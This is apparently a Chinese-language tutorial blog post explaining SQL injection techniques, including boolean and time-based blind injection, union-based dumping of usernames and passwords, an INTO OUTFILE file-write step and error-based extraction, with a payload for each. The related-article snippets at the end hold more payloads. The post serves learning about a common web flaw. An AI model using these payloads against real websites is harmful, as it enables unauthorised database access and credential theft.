前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >SQL注入

SQL注入

作者头像
mathor
发布于 2018-10-10 03:30:20
发布于 2018-10-10 03:30:20
2K00
代码可运行
举报
文章被收录于专栏:mathormathor
运行总次数:0
代码可运行
什么是SQL注入?

 当客户端提交的数据未做处理或转义,直接带入数据库就造成了SQL注入

布尔注入

 利用返回真假的效果做到SQL注入,比方说有下面一串代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
String sql = null;
sql = "select * from user where username = " + "'" + un + "'" + "and password = " + "'" + pwd + "'";

 其中,un和pwd都是String类型的变量,这是一个很明显的SQL注入漏洞,假设我令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
String un = "admin' or 1 = 1 -- "
String pwd = 11//随便什么都可以

 最终发送到数据库的语句就是

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select * from user where username = 'admin' or 1 = 1 -- ' and password = '11'

 这样的语句返回的结果就是数据库中的所有记录,因为对于所有记录,它都会判断username是否等于admin或者1是否等于1,只要有任意一条满足条件,就会被查出来,后面加了两个-,就将password查询给屏蔽(注释)了,使password约束不会产生影响。

获取数据库名长度
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
length(database()) > 1 #判断是否大于1,如果正确,就继续下去,直到错误
获取数据库名
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ORD(mid(database(),1,1)) > 1
/*
这里涉及到两个函数
    ORD(String)将String转换成十进制值,然后可以通过百度查值得到该字符
    mid(String,a,b)将String从a开始向后截取b个字符
*/
获取表名的长度
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCEMA = database() limit 0,1) > 1
# 判断名为databse()数据库里第1个表的长度是否大于1,不停的判断,就能查到表的长度
# 这只是第一个表,要想获取第二个表,就将limit 0,1改为limit 1,1
获取表名
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
ORD(mid(TABLE_NAME,1,1)) > 1
获取表内字段个数
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp') > 1
# user是表名,jsp是数据库名
获取字段的长度
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
(select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='user' and TABLE_SCHEMA='jsp' limit 0,1) > 1
# 同理修改limit后面的参数即可获取第二个、第三个....字段的长度
获取字段的名字
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where table_name = 'user' and TABLE_SCHEMA = 'jsp' limit 0,1),1,1)) > 1
# 爆每个字段从第1位开始的十进制值
获取内容的长度
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select (select length(username) from user limit 0,1) > 1
# 已经查出第一个字段的名字是username,查username的第一个内容长度
获取内容的值
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select ORD(mid((select username from user limit 0,1),1,1)) > 1
# 同样的,一个一个试,把值爆出来
联合注入

 联合注入共分三步,首先判断数据库中字段数,接着利用union进行联合查询,暴露可查询的字段编号,最后根据得到的字段编号,查询暴露的字段值

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
union可合并两个或多个select语句的结果集,
前提是两个select必有相同列、且各列的数据类型也相同
一、检测字段数

 检测字段数用的sql语句是

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
order by 2//数字任意

 根据页面返回的结果,来判断站点中的字段数目  比方说有一个网站http://127.0.0.1/onews.asp?id=45,在后面添加语句order by 3,页面显示正常,改为order by 4,页面报错,所以该站字段个数为3

二、暴露可查询的字段编号
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select * from user where id = -1 union select 1,2,3

 使union前面语句出错,从而执行后面的,看页面爆出什么数字  通过这个方法还可以查询数据库的其他信息,比方所爆出数据库的名字

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select * from user where id = -1 union select 1,database(),3
附加:汇总常用函数
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
version() -- 获取mysql版本号

user() -- 返回当前用户名

select count(*) from mysql.user -- 返回用户数量

select count(*) from information_schema.schemata -- 返回数据库数量

database() -- 返回数据库名

select table_name from information_schema.tables where table_schema=’Database_Name’ limit 0,1 -- 获取第一个表名

select column_name from information_schema.columns where table_schema=’Database_Name’ and TABLE_NAME=TABLE_NAME’ limit 0,1 -- 获取第一个字段名
三、暴露字段值

 假设上面通过查询字段编号,得到2,3,说明用户名和密码就在2,3列,就可以开始爆用户名密码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select * from user union select 1,username,password from user
附加:拿shell

 拿shell其实更直白的话叫导出数据库,配合联合注入使用,很简单一句话

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select * from user union select 1,user(),3 into outfile 'D:/1.txt'
延时注入

 延时注入通常用于对时间敏感的sql语句,通过执行时间的长短来判断是否执行成功

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select * from user where 1 = 1 and sleep (if((select count(SCHEMA_NAME) from information_SCHEMA.SCHEMATA) = 1,0,2 ))

 上面语句代码的含义是,如果整个mysql中数据库的个数等于1,则延时0秒,否则延时2秒进行查询

BUG注入

 BUG注入实际上是利用数据库语句之间的冲突,弹出BUG,搜集BUG中对我们有用的信息。只要是count(),rand,group by三个连用就会造成报错

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
select concat((floor(rand(0))*2),'--------',(select database())) x from user group by x
#输出:0--------jsp,这样就爆出了数据库的名字,同理还可以利用BUG注入获取其他信息
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-10-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
SQL注入的各种姿势
当我们在输入框中输入不正常的id如1’ union select 1,database()%23,sql语句为
天钧
2019/07/26
1.1K0
SQL注入的各种姿势
SQL注入常用姿势
以Sqli-labs Less8为例,无论输入什么就只有正确和错误,于是可以判断基于布尔的盲注。
用户11062199
2024/05/30
1100
sql注入笔记
逻辑型(搜索型注入):%’ and 1=1 and ‘%’=’%/%’ and 1=2 and ‘%’=’%
tea9
2023/03/08
4820
WEB系列(1)—SQL注入(上)
是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
山深有杏
2024/01/30
2390
WEB系列(1)—SQL注入(上)
复习 - SQL注入
场景:网站A无注入点,网站B存在MySQL注入,且网站AB使用同一数据库。此时可利用网站B的注入点跨库查询获取网站A的数据。
Naraku
2021/07/28
9980
sql注入—基础篇,适合小白学习
用我的话说SQL注入就是利用网站前端与数据库连接处的漏洞,导致我们输入的语句能过在数据库中非常规的执行。
字节脉搏实验室
2020/12/18
1.7K0
SQL注入靶场Day4 宽字节注入
mysql支持16进制输入,16进制输入可以替代字符从而避免了单引号的加入 user 16进制得到:75736572
Baige
2022/03/22
6701
SQL注入靶场Day4 宽字节注入
sql注入技术大总结
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()# 从所有的表里边找到这个库名里不重复的表名
黑战士
2024/04/13
2880
2022年最详细的SQL注入总结笔记
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,在实战和测试中,难免会遇见到一些sql注入,下面,我将总结一些常用sql注入中的不同姿势。
纯情
2023/04/27
1.2K0
2022年最详细的SQL注入总结笔记
sql注入漏洞
第二个参数要求是xpath格式的字符串,语法正确是会按照路径 /该xml文件/要查询的字符串 进行查询
h3110_w0r1d
2024/02/19
2360
sql注入漏洞
PHP 编程SQL注入问题与代码
SQL注入问题是Web安全中最为常见的,多数情况下是用户在编写原生SQL语句时没有考虑到的一些细节,例如对用户输入过滤不严格等,典型的注入漏洞代码已经做好了总结,大家可以更具实际情况学习代码存在的问题,方便查缺补漏。
王瑞MVP
2022/12/28
2.2K0
SQL 注入漏洞浅研究学习
SQL注入漏洞:Web安全方面最高危的漏洞,SQL漏洞威胁着网站后台数据的安全问题。
Mirror王宇阳
2020/11/13
7930
SQL 注入漏洞浅研究学习
sql注入学习总结
所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
信安之路
2018/08/08
8470
sql注入学习总结
SQL学习之SQL注入总结
Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。 sql注入分类: 基于联合查询 基于错误回显 基于盲注,分时间盲注和布尔型的盲注 基于user-agent 基于feferer 基于cookie 二次注入 宽字节注入 注入一个网站时,我们先要找出后台构造的查询语句,然后判断是否存在注入点。 常规的找出查询语句的方法是在后面加’ 、 “ 、 ‘)  、 “),看是否报错,然后用and 1=1和and 1=2判断是否存在注入点
Jetpropelledsnake21
2018/06/14
1.7K0
sql注入入门学习(数字型)(连载中)
在MySQL中,表名存放在information_schema数据库下tables表table_name字段中、查表名我们主要用到的是TABLES表
一个淡定的打工菜鸟
2018/12/07
1.1K0
SQL注入从入门到进阶
本文章产生的缘由是因为专业老师,让我给本专业的同学讲一哈SQL注入和XSS入门,也就是本文的入门篇,讲完两节课后,发现自己对于SQL注入的理解也就仅仅局限于入门,于是有了进阶章节的产生。
小简
2022/12/29
3.9K0
SQL注入从入门到进阶
SQL注入漏洞详解
SQL注入是因为后台SQL语句拼接了用户的输入,而且Web应用程序对用户输入数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。比如查询、删除,增加,修改数据等等,如果数据库的用户权限足够大,还可以对操作系统执行操作。
谢公子
2022/01/13
2.2K0
SQL注入漏洞详解
科普基础 | 这可能是最全的SQL注入总结,不来看看吗
2.ACCESS没有库名,只有表和字段,并且注入时,后面必须跟表名,ACCESS没有注释
HACK学习
2019/11/14
4.4K0
常用SQL注入方式
TomatoCool
2023/07/30
1780
SQL注入速查笔记
load_file和into outfile用户必须有FILE权限,并且还需要知道网站的绝对路径
Bypass
2020/11/04
6890
相关推荐
SQL注入的各种姿势
更多 >
领券
社区富文本编辑器全新改版!诚邀体验~
全新交互,全新视觉,新增快捷键、悬浮工具栏、高亮块等功能并同时优化现有功能,全面提升创作效率和体验
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文